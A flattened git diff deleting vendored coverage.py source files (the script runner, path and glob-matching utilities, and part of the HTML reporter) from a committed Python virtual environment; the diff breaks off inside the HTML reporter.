self._prepare2() - - # Create a module to serve as __main__ - main_mod = ModuleType("__main__") - - from_pyc = self.arg0.endswith((".pyc", ".pyo")) - main_mod.__file__ = self.arg0 - if from_pyc: - main_mod.__file__ = main_mod.__file__[:-1] - if self.package is not None: - main_mod.__package__ = self.package - main_mod.__loader__ = self.loader # type: ignore[assignment] - if self.spec is not None: - main_mod.__spec__ = self.spec - - main_mod.__builtins__ = sys.modules["builtins"] # type: ignore[attr-defined] - - sys.modules["__main__"] = main_mod - - # Set sys.argv properly. - sys.argv = self.args - - try: - # Make a code object somehow. - if from_pyc: - code = make_code_from_pyc(self.arg0) - else: - code = make_code_from_py(self.arg0) - except CoverageException: - raise - except Exception as exc: - msg = f"Couldn't run '{self.arg0}' as Python code: {exc.__class__.__name__}: {exc}" - raise CoverageException(msg) from exc - - # Execute the code object. - # Return to the original directory in case the test code exits in - # a non-existent directory. - cwd = os.getcwd() - try: - exec(code, main_mod.__dict__) - except SystemExit: # pylint: disable=try-except-raise - # The user called sys.exit(). Just pass it along to the upper - # layers, where it will be handled. - raise - except Exception: - # Something went wrong while executing the user code. - # Get the exc_info, and pack them into an exception that we can - # throw up to the outer loop. We peel one layer off the traceback - # so that the coverage.py code doesn't appear in the final printed - # traceback. - typ, err, tb = sys.exc_info() - assert typ is not None - assert err is not None - assert tb is not None - - # PyPy3 weirdness. If I don't access __context__, then somehow it - # is non-None when the exception is reported at the upper layer, - # and a nested exception is shown to the user. This getattr fixes - # it somehow? https://bitbucket.org/pypy/pypy/issue/1903 - getattr(err, "__context__", None) - - # Call the excepthook. - try: - assert err.__traceback__ is not None - err.__traceback__ = err.__traceback__.tb_next - sys.excepthook(typ, err, tb.tb_next) - except SystemExit: # pylint: disable=try-except-raise - raise - except Exception as exc: - # Getting the output right in the case of excepthook - # shenanigans is kind of involved. - sys.stderr.write("Error in sys.excepthook:\n") - typ2, err2, tb2 = sys.exc_info() - assert typ2 is not None - assert err2 is not None - assert tb2 is not None - err2.__suppress_context__ = True - assert err2.__traceback__ is not None - err2.__traceback__ = err2.__traceback__.tb_next - sys.__excepthook__(typ2, err2, tb2.tb_next) - sys.stderr.write("\nOriginal exception was:\n") - raise _ExceptionDuringRun(typ, err, tb.tb_next) from exc - else: - sys.exit(1) - finally: - os.chdir(cwd) - - -def run_python_module(args: list[str]) -> None: - """Run a Python module, as though with ``python -m name args...``. - - `args` is the argument array to present as sys.argv, including the first - element naming the module being executed. - - This is a helper for tests, to encapsulate how to use PyRunner. - - """ - runner = PyRunner(args, as_module=True) - runner.prepare() - runner.run() - - -def run_python_file(args: list[str]) -> None: - """Run a Python file as if it were the main program on the command line. - - `args` is the argument array to present as sys.argv, including the first - element naming the file being executed. `package` is the name of the - enclosing package, if any. - - This is a helper for tests, to encapsulate how to use PyRunner. - - """ - runner = PyRunner(args, as_module=False) - runner.prepare() - runner.run() - - -def make_code_from_py(filename: str) -> CodeType: - """Get source from `filename` and make a code object of it.""" - try: - source = get_python_source(filename) - except (OSError, NoSource) as exc: - raise NoSource(f"No file to run: '{filename}'") from exc - - code = compile(source, filename, mode="exec", dont_inherit=True) - return code - - -def make_code_from_pyc(filename: str) -> CodeType: - """Get a code object from a .pyc file.""" - try: - fpyc = open(filename, "rb") - except OSError as exc: - raise NoCode(f"No file to run: '{filename}'") from exc - - with fpyc: - # First four bytes are a version-specific magic number. It has to - # match or we won't run the file. - magic = fpyc.read(4) - if magic != PYC_MAGIC_NUMBER: - raise NoCode(f"Bad magic number in .pyc file: {magic!r} != {PYC_MAGIC_NUMBER!r}") - - flags = struct.unpack(" None: - """Set the directory that `relative_filename` will be relative to.""" - global RELATIVE_DIR, CANONICAL_FILENAME_CACHE - - # The current directory - abs_curdir = abs_file(os.curdir) - if not abs_curdir.endswith(os.sep): - # Suffix with separator only if not at the system root - abs_curdir = abs_curdir + os.sep - - # The absolute path to our current directory. - RELATIVE_DIR = os.path.normcase(abs_curdir) - - # Cache of results of calling the canonical_filename() method, to - # avoid duplicating work. - CANONICAL_FILENAME_CACHE = {} - - -def relative_directory() -> str: - """Return the directory that `relative_filename` is relative to.""" - return RELATIVE_DIR - - -def relative_filename(filename: str) -> str: - """Return the relative form of `filename`. - - The file name will be relative to the current directory when the - `set_relative_directory` was called. - - """ - fnorm = os.path.normcase(filename) - if fnorm.startswith(RELATIVE_DIR): - filename = filename[len(RELATIVE_DIR):] - return filename - - -def canonical_filename(filename: str) -> str: - """Return a canonical file name for `filename`. - - An absolute path with no redundant components and normalized case. - - """ - if filename not in CANONICAL_FILENAME_CACHE: - cf = filename - if not os.path.isabs(filename): - for path in [os.curdir] + sys.path: - if path is None: - continue # type: ignore[unreachable] - f = os.path.join(path, filename) - try: - exists = os.path.exists(f) - except UnicodeError: - exists = False - if exists: - cf = f - break - cf = abs_file(cf) - CANONICAL_FILENAME_CACHE[filename] = cf - return CANONICAL_FILENAME_CACHE[filename] - - -def flat_rootname(filename: str) -> str: - """A base for a flat file name to correspond to this file. - - Useful for writing files about the code where you want all the files in - the same directory, but need to differentiate same-named files from - different directories. - - For example, the file a/b/c.py will return 'z_86bbcbe134d28fd2_c_py' - - """ - dirname, basename = ntpath.split(filename) - if dirname: - fp = hashlib.new( - "sha3_256", - dirname.encode("UTF-8"), - usedforsecurity=False, - ).hexdigest()[:16] - prefix = f"z_{fp}_" - else: - prefix = "" - return prefix + basename.replace(".", "_") - - -if env.WINDOWS: - - _ACTUAL_PATH_CACHE: dict[str, str] = {} - _ACTUAL_PATH_LIST_CACHE: dict[str, list[str]] = {} - - def actual_path(path: str) -> str: - """Get the actual path of `path`, including the correct case.""" - if path in _ACTUAL_PATH_CACHE: - return _ACTUAL_PATH_CACHE[path] - - head, tail = os.path.split(path) - if not tail: - # This means head is the drive spec: normalize it. - actpath = head.upper() - elif not head: - actpath = tail - else: - head = actual_path(head) - if head in _ACTUAL_PATH_LIST_CACHE: - files = _ACTUAL_PATH_LIST_CACHE[head] - else: - try: - files = os.listdir(head) - except Exception: - # This will raise OSError, or this bizarre TypeError: - # https://bugs.python.org/issue1776160 - files = [] - _ACTUAL_PATH_LIST_CACHE[head] = files - normtail = os.path.normcase(tail) - for f in files: - if os.path.normcase(f) == normtail: - tail = f - break - actpath = os.path.join(head, tail) - _ACTUAL_PATH_CACHE[path] = actpath - return actpath - -else: - def actual_path(path: str) -> str: - """The actual path for non-Windows platforms.""" - return path - - -def abs_file(path: str) -> str: - """Return the absolute normalized form of `path`.""" - return actual_path(os.path.abspath(os.path.realpath(path))) - - -def zip_location(filename: str) -> tuple[str, str] | None: - """Split a filename into a zipfile / inner name pair. - - Only return a pair if the zipfile exists. No check is made if the inner - name is in the zipfile. - - """ - for ext in [".zip", ".whl", ".egg", ".pex"]: - zipbase, extension, inner = filename.partition(ext + sep(filename)) - if extension: - zipfile = zipbase + ext - if os.path.exists(zipfile): - return zipfile, inner - return None - - -def source_exists(path: str) -> bool: - """Determine if a source file path exists.""" - if os.path.exists(path): - return True - - if zip_location(path): - # If zip_location returns anything, then it's a zipfile that - # exists. That's good enough for us. - return True - - return False - - -def python_reported_file(filename: str) -> str: - """Return the string as Python would describe this file name.""" - return os.path.abspath(filename) - - -def isabs_anywhere(filename: str) -> bool: - """Is `filename` an absolute path on any OS?""" - return ntpath.isabs(filename) or posixpath.isabs(filename) - - -def prep_patterns(patterns: Iterable[str]) -> list[str]: - """Prepare the file patterns for use in a `GlobMatcher`. - - If a pattern starts with a wildcard, it is used as a pattern - as-is. If it does not start with a wildcard, then it is made - absolute with the current directory. - - If `patterns` is None, an empty list is returned. - - """ - prepped = [] - for p in patterns or []: - prepped.append(p) - if not p.startswith(("*", "?")): - prepped.append(abs_file(p)) - return prepped - - -class TreeMatcher: - """A matcher for files in a tree. - - Construct with a list of paths, either files or directories. Paths match - with the `match` method if they are one of the files, or if they are - somewhere in a subtree rooted at one of the directories. - - """ - def __init__(self, paths: Iterable[str], name: str = "unknown") -> None: - self.original_paths: list[str] = human_sorted(paths) - #self.paths = list(map(os.path.normcase, paths)) - self.paths = [os.path.normcase(p) for p in paths] - self.name = name - - def __repr__(self) -> str: - return f"" - - def info(self) -> list[str]: - """A list of strings for displaying when dumping state.""" - return self.original_paths - - def match(self, fpath: str) -> bool: - """Does `fpath` indicate a file in one of our trees?""" - fpath = os.path.normcase(fpath) - for p in self.paths: - if fpath.startswith(p): - if fpath == p: - # This is the same file! - return True - if fpath[len(p)] == os.sep: - # This is a file in the directory - return True - return False - - -class ModuleMatcher: - """A matcher for modules in a tree.""" - def __init__(self, module_names: Iterable[str], name:str = "unknown") -> None: - self.modules = list(module_names) - self.name = name - - def __repr__(self) -> str: - return f"" - - def info(self) -> list[str]: - """A list of strings for displaying when dumping state.""" - return self.modules - - def match(self, module_name: str) -> bool: - """Does `module_name` indicate a module in one of our packages?""" - if not module_name: - return False - - for m in self.modules: - if module_name.startswith(m): - if module_name == m: - return True - if module_name[len(m)] == ".": - # This is a module in the package - return True - - return False - - -class GlobMatcher: - """A matcher for files by file name pattern.""" - def __init__(self, pats: Iterable[str], name: str = "unknown") -> None: - self.pats = list(pats) - self.re = globs_to_regex(self.pats, case_insensitive=env.WINDOWS) - self.name = name - - def __repr__(self) -> str: - return f"" - - def info(self) -> list[str]: - """A list of strings for displaying when dumping state.""" - return self.pats - - def match(self, fpath: str) -> bool: - """Does `fpath` match one of our file name patterns?""" - return self.re.match(fpath) is not None - - -def sep(s: str) -> str: - """Find the path separator used in this string, or os.sep if none.""" - if sep_match := re.search(r"[\\/]", s): - the_sep = sep_match[0] - else: - the_sep = os.sep - return the_sep - - -# Tokenizer for _glob_to_regex. -# None as a sub means disallowed. -G2RX_TOKENS = [(re.compile(rx), sub) for rx, sub in [ - (r"\*\*\*+", None), # Can't have *** - (r"[^/]+\*\*+", None), # Can't have x** - (r"\*\*+[^/]+", None), # Can't have **x - (r"\*\*/\*\*", None), # Can't have **/** - (r"^\*+/", r"(.*[/\\\\])?"), # ^*/ matches any prefix-slash, or nothing. - (r"/\*+$", r"[/\\\\].*"), # /*$ matches any slash-suffix. - (r"\*\*/", r"(.*[/\\\\])?"), # **/ matches any subdirs, including none - (r"/", r"[/\\\\]"), # / matches either slash or backslash - (r"\*", r"[^/\\\\]*"), # * matches any number of non slash-likes - (r"\?", r"[^/\\\\]"), # ? matches one non slash-like - (r"\[.*?\]", r"\g<0>"), # [a-f] matches [a-f] - (r"[a-zA-Z0-9_-]+", r"\g<0>"), # word chars match themselves - (r"[\[\]]", None), # Can't have single square brackets - (r".", r"\\\g<0>"), # Anything else is escaped to be safe -]] - -def _glob_to_regex(pattern: str) -> str: - """Convert a file-path glob pattern into a regex.""" - # Turn all backslashes into slashes to simplify the tokenizer. - pattern = pattern.replace("\\", "/") - if "/" not in pattern: - pattern = f"**/{pattern}" - path_rx = [] - pos = 0 - while pos < len(pattern): - for rx, sub in G2RX_TOKENS: # pragma: always breaks - if m := rx.match(pattern, pos=pos): - if sub is None: - raise ConfigError(f"File pattern can't include {m[0]!r}") - path_rx.append(m.expand(sub)) - pos = m.end() - break - return "".join(path_rx) - - -def globs_to_regex( - patterns: Iterable[str], - case_insensitive: bool = False, - partial: bool = False, -) -> re.Pattern[str]: - """Convert glob patterns to a compiled regex that matches any of them. - - Slashes are always converted to match either slash or backslash, for - Windows support, even when running elsewhere. - - If the pattern has no slash or backslash, then it is interpreted as - matching a file name anywhere it appears in the tree. Otherwise, the glob - pattern must match the whole file path. - - If `partial` is true, then the pattern will match if the target string - starts with the pattern. Otherwise, it must match the entire string. - - Returns: a compiled regex object. Use the .match method to compare target - strings. - - """ - flags = 0 - if case_insensitive: - flags |= re.IGNORECASE - rx = join_regex(map(_glob_to_regex, patterns)) - if not partial: - rx = fr"(?:{rx})\Z" - compiled = re.compile(rx, flags=flags) - return compiled - - -class PathAliases: - """A collection of aliases for paths. - - When combining data files from remote machines, often the paths to source - code are different, for example, due to OS differences, or because of - serialized checkouts on continuous integration machines. - - A `PathAliases` object tracks a list of pattern/result pairs, and can - map a path through those aliases to produce a unified path. - - """ - def __init__( - self, - debugfn: Callable[[str], None] | None = None, - relative: bool = False, - ) -> None: - # A list of (original_pattern, regex, result) - self.aliases: list[tuple[str, re.Pattern[str], str]] = [] - self.debugfn = debugfn or (lambda msg: 0) - self.relative = relative - self.pprinted = False - - def pprint(self) -> None: - """Dump the important parts of the PathAliases, for debugging.""" - self.debugfn(f"Aliases (relative={self.relative}):") - for original_pattern, regex, result in self.aliases: - self.debugfn(f" Rule: {original_pattern!r} -> {result!r} using regex {regex.pattern!r}") - - def add(self, pattern: str, result: str) -> None: - """Add the `pattern`/`result` pair to the list of aliases. - - `pattern` is an `glob`-style pattern. `result` is a simple - string. When mapping paths, if a path starts with a match against - `pattern`, then that match is replaced with `result`. This models - isomorphic source trees being rooted at different places on two - different machines. - - `pattern` can't end with a wildcard component, since that would - match an entire tree, and not just its root. - - """ - original_pattern = pattern - pattern_sep = sep(pattern) - - if len(pattern) > 1: - pattern = pattern.rstrip(r"\/") - - # The pattern can't end with a wildcard component. - if pattern.endswith("*"): - raise ConfigError("Pattern must not end with wildcards.") - - # The pattern is meant to match a file path. Let's make it absolute - # unless it already is, or is meant to match any prefix. - if not self.relative: - if not pattern.startswith("*") and not isabs_anywhere(pattern + pattern_sep): - pattern = abs_file(pattern) - if not pattern.endswith(pattern_sep): - pattern += pattern_sep - - # Make a regex from the pattern. - regex = globs_to_regex([pattern], case_insensitive=True, partial=True) - - # Normalize the result: it must end with a path separator. - result_sep = sep(result) - result = result.rstrip(r"\/") + result_sep - self.aliases.append((original_pattern, regex, result)) - - def map(self, path: str, exists:Callable[[str], bool] = source_exists) -> str: - """Map `path` through the aliases. - - `path` is checked against all of the patterns. The first pattern to - match is used to replace the root of the path with the result root. - Only one pattern is ever used. If no patterns match, `path` is - returned unchanged. - - The separator style in the result is made to match that of the result - in the alias. - - `exists` is a function to determine if the resulting path actually - exists. - - Returns the mapped path. If a mapping has happened, this is a - canonical path. If no mapping has happened, it is the original value - of `path` unchanged. - - """ - if not self.pprinted: - self.pprint() - self.pprinted = True - - for original_pattern, regex, result in self.aliases: - if m := regex.match(path): - new = path.replace(m[0], result) - new = new.replace(sep(path), sep(result)) - if not self.relative: - new = canonical_filename(new) - dot_start = result.startswith(("./", ".\\")) and len(result) > 2 - if new.startswith(("./", ".\\")) and not dot_start: - new = new[2:] - if not exists(new): - self.debugfn( - f"Rule {original_pattern!r} changed {path!r} to {new!r} " + - "which doesn't exist, continuing", - ) - continue - self.debugfn( - f"Matched path {path!r} to rule {original_pattern!r} -> {result!r}, " + - f"producing {new!r}", - ) - return new - - # If we get here, no pattern matched. - - if self.relative: - path = relative_filename(path) - - if self.relative and not isabs_anywhere(path): - # Auto-generate a pattern to implicitly match relative files - parts = re.split(r"[/\\]", path) - if len(parts) > 1: - dir1 = parts[0] - pattern = f"*/{dir1}" - regex_pat = fr"^(.*[\\/])?{re.escape(dir1)}[\\/]" - result = f"{dir1}{os.sep}" - # Only add a new pattern if we don't already have this pattern. - if not any(p == pattern for p, _, _ in self.aliases): - self.debugfn( - f"Generating rule: {pattern!r} -> {result!r} using regex {regex_pat!r}", - ) - self.aliases.append((pattern, re.compile(regex_pat), result)) - return self.map(path, exists=exists) - - self.debugfn(f"No rules match, path {path!r} is unchanged") - return path - - -def find_python_files(dirname: str, include_namespace_packages: bool) -> Iterable[str]: - """Yield all of the importable Python files in `dirname`, recursively. - - To be importable, the files have to be in a directory with a __init__.py, - except for `dirname` itself, which isn't required to have one. The - assumption is that `dirname` was specified directly, so the user knows - best, but sub-directories are checked for a __init__.py to be sure we only - find the importable files. - - If `include_namespace_packages` is True, then the check for __init__.py - files is skipped. - - Files with strange characters are skipped, since they couldn't have been - imported, and are probably editor side-files. - - """ - for i, (dirpath, dirnames, filenames) in enumerate(os.walk(dirname)): - if not include_namespace_packages: - if i > 0 and "__init__.py" not in filenames: - # If a directory doesn't have __init__.py, then it isn't - # importable and neither are its files - del dirnames[:] - continue - for filename in filenames: - # We're only interested in files that look like reasonable Python - # files: Must end with .py or .pyw, and must not have certain funny - # characters that probably mean they are editor junk. - if re.match(r"^[^.#~!$@%^&*()+=,]+\.pyw?$", filename): - yield os.path.join(dirpath, filename) - - -# Globally set the relative directory. -set_relative_directory() diff --git a/backend/venv/Lib/site-packages/coverage/html.py b/backend/venv/Lib/site-packages/coverage/html.py deleted file mode 100644 index 55dd32e2..00000000 --- a/backend/venv/Lib/site-packages/coverage/html.py +++ /dev/null @@ -1,817 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""HTML reporting for coverage.py.""" - -from __future__ import annotations - -import collections -import dataclasses -import datetime -import functools -import json -import os -import re -import string - -from dataclasses import dataclass, field -from typing import Any, TYPE_CHECKING -from collections.abc import Iterable - -import coverage -from coverage.data import CoverageData, add_data_to_hash -from coverage.exceptions import NoDataError -from coverage.files import flat_rootname -from coverage.misc import ( - ensure_dir, file_be_gone, Hasher, isolate_module, format_local_datetime, - human_sorted, plural, stdout_link, -) -from coverage.report_core import get_analysis_to_report -from coverage.results import Analysis, Numbers -from coverage.templite import Templite -from coverage.types import TLineNo, TMorf -from coverage.version import __url__ - - -if TYPE_CHECKING: - from coverage import Coverage - from coverage.plugins import FileReporter - - -os = isolate_module(os) - - -def data_filename(fname: str) -> str: - """Return the path to an "htmlfiles" data file of ours. - """ - static_dir = os.path.join(os.path.dirname(__file__), "htmlfiles") - static_filename = os.path.join(static_dir, fname) - return static_filename - - -def read_data(fname: str) -> str: - """Return the contents of a data file of ours.""" - with open(data_filename(fname), encoding="utf-8") as data_file: - return data_file.read() - - -def write_html(fname: str, html: str) -> None: - """Write `html` to `fname`, properly encoded.""" - html = re.sub(r"(\A\s+)|(\s+$)", "", html, flags=re.MULTILINE) + "\n" - with open(fname, "wb") as fout: - fout.write(html.encode("ascii", "xmlcharrefreplace")) - - -@dataclass -class LineData: - """The data for each source line of HTML output.""" - tokens: list[tuple[str, str]] - number: TLineNo - category: str - contexts: list[str] - contexts_label: str - context_list: list[str] - short_annotations: list[str] - long_annotations: list[str] - html: str = "" - context_str: str | None = None - annotate: str | None = None - annotate_long: str | None = None - css_class: str = "" - - -@dataclass -class FileData: - """The data for each source file of HTML output.""" - relative_filename: str - nums: Numbers - lines: list[LineData] - - -@dataclass -class IndexItem: - """Information for each index entry, to render an index page.""" - url: str = "" - file: str = "" - description: str = "" - nums: Numbers = field(default_factory=Numbers) - - -@dataclass -class IndexPage: - """Data for each index page.""" - noun: str - plural: str - filename: str - summaries: list[IndexItem] - totals: Numbers - skipped_covered_count: int - skipped_empty_count: int - - -class HtmlDataGeneration: - """Generate structured data to be turned into HTML reports.""" - - EMPTY = "(empty)" - - def __init__(self, cov: Coverage) -> None: - self.coverage = cov - self.config = self.coverage.config - self.data = self.coverage.get_data() - self.has_arcs = self.data.has_arcs() - if self.config.show_contexts: - if self.data.measured_contexts() == {""}: - self.coverage._warn("No contexts were measured") - self.data.set_query_contexts(self.config.report_contexts) - - def data_for_file(self, fr: FileReporter, analysis: Analysis) -> FileData: - """Produce the data needed for one file's report.""" - if self.has_arcs: - missing_branch_arcs = analysis.missing_branch_arcs() - arcs_executed = analysis.arcs_executed - else: - missing_branch_arcs = {} - arcs_executed = [] - - if self.config.show_contexts: - contexts_by_lineno = self.data.contexts_by_lineno(analysis.filename) - - lines = [] - branch_stats = analysis.branch_stats() - - for lineno, tokens in enumerate(fr.source_token_lines(), start=1): - # Figure out how to mark this line. - category = "" - short_annotations = [] - long_annotations = [] - - if lineno in analysis.excluded: - category = "exc" - elif lineno in analysis.missing: - category = "mis" - elif self.has_arcs and lineno in missing_branch_arcs: - category = "par" - mba = missing_branch_arcs[lineno] - if len(mba) == branch_stats[lineno][0]: - # None of the branches were taken from this line. - short_annotations.append("anywhere") - long_annotations.append( - f"line {lineno} didn't jump anywhere: it always raised an exception." - ) - else: - for b in missing_branch_arcs[lineno]: - if b < 0: - short_annotations.append("exit") - else: - short_annotations.append(str(b)) - long_annotations.append( - fr.missing_arc_description(lineno, b, arcs_executed) - ) - elif lineno in analysis.statements: - category = "run" - - contexts = [] - contexts_label = "" - context_list = [] - if category and self.config.show_contexts: - contexts = human_sorted(c or self.EMPTY for c in contexts_by_lineno.get(lineno, ())) - if contexts == [self.EMPTY]: - contexts_label = self.EMPTY - else: - contexts_label = f"{len(contexts)} ctx" - context_list = contexts - - lines.append(LineData( - tokens=tokens, - number=lineno, - category=category, - contexts=contexts, - contexts_label=contexts_label, - context_list=context_list, - short_annotations=short_annotations, - long_annotations=long_annotations, - )) - - file_data = FileData( - relative_filename=fr.relative_filename(), - nums=analysis.numbers, - lines=lines, - ) - - return file_data - - -class FileToReport: - """A file we're considering reporting.""" - def __init__(self, fr: FileReporter, analysis: Analysis) -> None: - self.fr = fr - self.analysis = analysis - self.rootname = flat_rootname(fr.relative_filename()) - self.html_filename = self.rootname + ".html" - self.prev_html = self.next_html = "" - - -HTML_SAFE = string.ascii_letters + string.digits + "!#$%'()*+,-./:;=?@[]^_`{|}~" - -@functools.cache -def encode_int(n: int) -> str: - """Create a short HTML-safe string from an integer, using HTML_SAFE.""" - if n == 0: - return HTML_SAFE[0] - - r = [] - while n: - n, t = divmod(n, len(HTML_SAFE)) - r.append(HTML_SAFE[t]) - return "".join(r) - - -def copy_with_cache_bust(src: str, dest_dir: str) -> str: - """Copy `src` to `dest_dir`, adding a hash to the name. - - Returns the updated destination file name with hash. - """ - with open(src, "rb") as f: - text = f.read() - h = Hasher() - h.update(text) - cache_bust = h.hexdigest()[:8] - src_base = os.path.basename(src) - dest = src_base.replace(".", f"_cb_{cache_bust}.") - with open(os.path.join(dest_dir, dest), "wb") as f: - f.write(text) - return dest - - -class HtmlReporter: - """HTML reporting.""" - - # These files will be copied from the htmlfiles directory to the output - # directory. - STATIC_FILES = [ - "style.css", - "coverage_html.js", - "keybd_closed.png", - "favicon_32.png", - ] - - def __init__(self, cov: Coverage) -> None: - self.coverage = cov - self.config = self.coverage.config - self.directory = self.config.html_dir - - self.skip_covered = self.config.html_skip_covered - if self.skip_covered is None: - self.skip_covered = self.config.skip_covered - self.skip_empty = self.config.html_skip_empty - if self.skip_empty is None: - self.skip_empty = self.config.skip_empty - - title = self.config.html_title - - self.extra_css = bool(self.config.extra_css) - - self.data = self.coverage.get_data() - self.has_arcs = self.data.has_arcs() - - self.index_pages: dict[str, IndexPage] = { - "file": self.new_index_page("file", "files"), - } - self.incr = IncrementalChecker(self.directory) - self.datagen = HtmlDataGeneration(self.coverage) - self.directory_was_empty = False - self.first_fr = None - self.final_fr = None - - self.template_globals = { - # Functions available in the templates. - "escape": escape, - "pair": pair, - "len": len, - - # Constants for this report. - "__url__": __url__, - "__version__": coverage.__version__, - "title": title, - "time_stamp": format_local_datetime(datetime.datetime.now()), - "extra_css": self.extra_css, - "has_arcs": self.has_arcs, - "show_contexts": self.config.show_contexts, - "statics": {}, - - # Constants for all reports. - # These css classes determine which lines are highlighted by default. - "category": { - "exc": "exc show_exc", - "mis": "mis show_mis", - "par": "par run show_par", - "run": "run", - }, - } - self.index_tmpl = Templite(read_data("index.html"), self.template_globals) - self.pyfile_html_source = read_data("pyfile.html") - self.source_tmpl = Templite(self.pyfile_html_source, self.template_globals) - - def new_index_page(self, noun: str, plural_noun: str) -> IndexPage: - """Create an IndexPage for a kind of region.""" - return IndexPage( - noun=noun, - plural=plural_noun, - filename="index.html" if noun == "file" else f"{noun}_index.html", - summaries=[], - totals=Numbers(precision=self.config.precision), - skipped_covered_count=0, - skipped_empty_count=0, - ) - - def report(self, morfs: Iterable[TMorf] | None) -> float: - """Generate an HTML report for `morfs`. - - `morfs` is a list of modules or file names. - - """ - # Read the status data and check that this run used the same - # global data as the last run. - self.incr.read() - self.incr.check_global_data(self.config, self.pyfile_html_source) - - # Process all the files. For each page we need to supply a link - # to the next and previous page. - files_to_report = [] - - have_data = False - for fr, analysis in get_analysis_to_report(self.coverage, morfs): - have_data = True - ftr = FileToReport(fr, analysis) - if self.should_report(analysis, self.index_pages["file"]): - files_to_report.append(ftr) - else: - file_be_gone(os.path.join(self.directory, ftr.html_filename)) - - if not have_data: - raise NoDataError("No data to report.") - - self.make_directory() - self.make_local_static_report_files() - - if files_to_report: - for ftr1, ftr2 in zip(files_to_report[:-1], files_to_report[1:]): - ftr1.next_html = ftr2.html_filename - ftr2.prev_html = ftr1.html_filename - files_to_report[0].prev_html = "index.html" - files_to_report[-1].next_html = "index.html" - - for ftr in files_to_report: - self.write_html_page(ftr) - for noun, plural_noun in ftr.fr.code_region_kinds(): - if noun not in self.index_pages: - self.index_pages[noun] = self.new_index_page(noun, plural_noun) - - # Write the index page. - if files_to_report: - first_html = files_to_report[0].html_filename - final_html = files_to_report[-1].html_filename - else: - first_html = final_html = "index.html" - self.write_file_index_page(first_html, final_html) - - # Write function and class index pages. - self.write_region_index_pages(files_to_report) - - return ( - self.index_pages["file"].totals.n_statements - and self.index_pages["file"].totals.pc_covered - ) - - def make_directory(self) -> None: - """Make sure our htmlcov directory exists.""" - ensure_dir(self.directory) - if not os.listdir(self.directory): - self.directory_was_empty = True - - def copy_static_file(self, src: str, slug: str = "") -> None: - """Copy a static file into the output directory with cache busting.""" - dest = copy_with_cache_bust(src, self.directory) - if not slug: - slug = os.path.basename(src).replace(".", "_") - self.template_globals["statics"][slug] = dest # type: ignore - - def make_local_static_report_files(self) -> None: - """Make local instances of static files for HTML report.""" - - # The files we provide must always be copied. - for static in self.STATIC_FILES: - self.copy_static_file(data_filename(static)) - - # The user may have extra CSS they want copied. - if self.extra_css: - assert self.config.extra_css is not None - self.copy_static_file(self.config.extra_css, slug="extra_css") - - # Only write the .gitignore file if the directory was originally empty. - # .gitignore can't be copied from the source tree because if it was in - # the source tree, it would stop the static files from being checked in. - if self.directory_was_empty: - with open(os.path.join(self.directory, ".gitignore"), "w", encoding="utf-8") as fgi: - fgi.write("# Created by coverage.py\n*\n") - - def should_report(self, analysis: Analysis, index_page: IndexPage) -> bool: - """Determine if we'll report this file or region.""" - # Get the numbers for this file. - nums = analysis.numbers - index_page.totals += nums - - if self.skip_covered: - # Don't report on 100% files. - no_missing_lines = (nums.n_missing == 0) - no_missing_branches = (nums.n_partial_branches == 0) - if no_missing_lines and no_missing_branches: - index_page.skipped_covered_count += 1 - return False - - if self.skip_empty: - # Don't report on empty files. - if nums.n_statements == 0: - index_page.skipped_empty_count += 1 - return False - - return True - - def write_html_page(self, ftr: FileToReport) -> None: - """Generate an HTML page for one source file. - - If the page on disk is already correct based on our incremental status - checking, then the page doesn't have to be generated, and this function - only does page summary bookkeeping. - - """ - # Find out if the page on disk is already correct. - if self.incr.can_skip_file(self.data, ftr.fr, ftr.rootname): - self.index_pages["file"].summaries.append(self.incr.index_info(ftr.rootname)) - return - - # Write the HTML page for this source file. - file_data = self.datagen.data_for_file(ftr.fr, ftr.analysis) - - contexts = collections.Counter(c for cline in file_data.lines for c in cline.contexts) - context_codes = {y: i for (i, y) in enumerate(x[0] for x in contexts.most_common())} - if context_codes: - contexts_json = json.dumps( - {encode_int(v): k for (k, v) in context_codes.items()}, - indent=2, - ) - else: - contexts_json = None - - for ldata in file_data.lines: - # Build the HTML for the line. - html_parts = [] - for tok_type, tok_text in ldata.tokens: - if tok_type == "ws": - html_parts.append(escape(tok_text)) - else: - tok_html = escape(tok_text) or " " - html_parts.append(f'{tok_html}') - ldata.html = "".join(html_parts) - if ldata.context_list: - encoded_contexts = [ - encode_int(context_codes[c_context]) for c_context in ldata.context_list - ] - code_width = max(len(ec) for ec in encoded_contexts) - ldata.context_str = ( - str(code_width) - + "".join(ec.ljust(code_width) for ec in encoded_contexts) - ) - else: - ldata.context_str = "" - - if ldata.short_annotations: - # 202F is NARROW NO-BREAK SPACE. - # 219B is RIGHTWARDS ARROW WITH STROKE. - ldata.annotate = ",   ".join( - f"{ldata.number} ↛ {d}" - for d in ldata.short_annotations - ) - else: - ldata.annotate = None - - if ldata.long_annotations: - longs = ldata.long_annotations - # A line can only have two branch destinations. If there were - # two missing, we would have written one as "always raised." - assert len(longs) == 1, ( - f"Had long annotations in {ftr.fr.relative_filename()}: {longs}" - ) - ldata.annotate_long = longs[0] - else: - ldata.annotate_long = None - - css_classes = [] - if ldata.category: - css_classes.append( - self.template_globals["category"][ldata.category], # type: ignore[index] - ) - ldata.css_class = " ".join(css_classes) or "pln" - - html_path = os.path.join(self.directory, ftr.html_filename) - html = self.source_tmpl.render({ - **file_data.__dict__, - "contexts_json": contexts_json, - "prev_html": ftr.prev_html, - "next_html": ftr.next_html, - }) - write_html(html_path, html) - - # Save this file's information for the index page. - index_info = IndexItem( - url = ftr.html_filename, - file = escape(ftr.fr.relative_filename()), - nums = ftr.analysis.numbers, - ) - self.index_pages["file"].summaries.append(index_info) - self.incr.set_index_info(ftr.rootname, index_info) - - def write_file_index_page(self, first_html: str, final_html: str) -> None: - """Write the file index page for this report.""" - index_file = self.write_index_page( - self.index_pages["file"], - first_html=first_html, - final_html=final_html, - ) - - print_href = stdout_link(index_file, f"file://{os.path.abspath(index_file)}") - self.coverage._message(f"Wrote HTML report to {print_href}") - - # Write the latest hashes for next time. - self.incr.write() - - def write_region_index_pages(self, files_to_report: Iterable[FileToReport]) -> None: - """Write the other index pages for this report.""" - for ftr in files_to_report: - region_nouns = [pair[0] for pair in ftr.fr.code_region_kinds()] - num_lines = len(ftr.fr.source().splitlines()) - regions = ftr.fr.code_regions() - - for noun in region_nouns: - page_data = self.index_pages[noun] - outside_lines = set(range(1, num_lines + 1)) - - for region in regions: - if region.kind != noun: - continue - 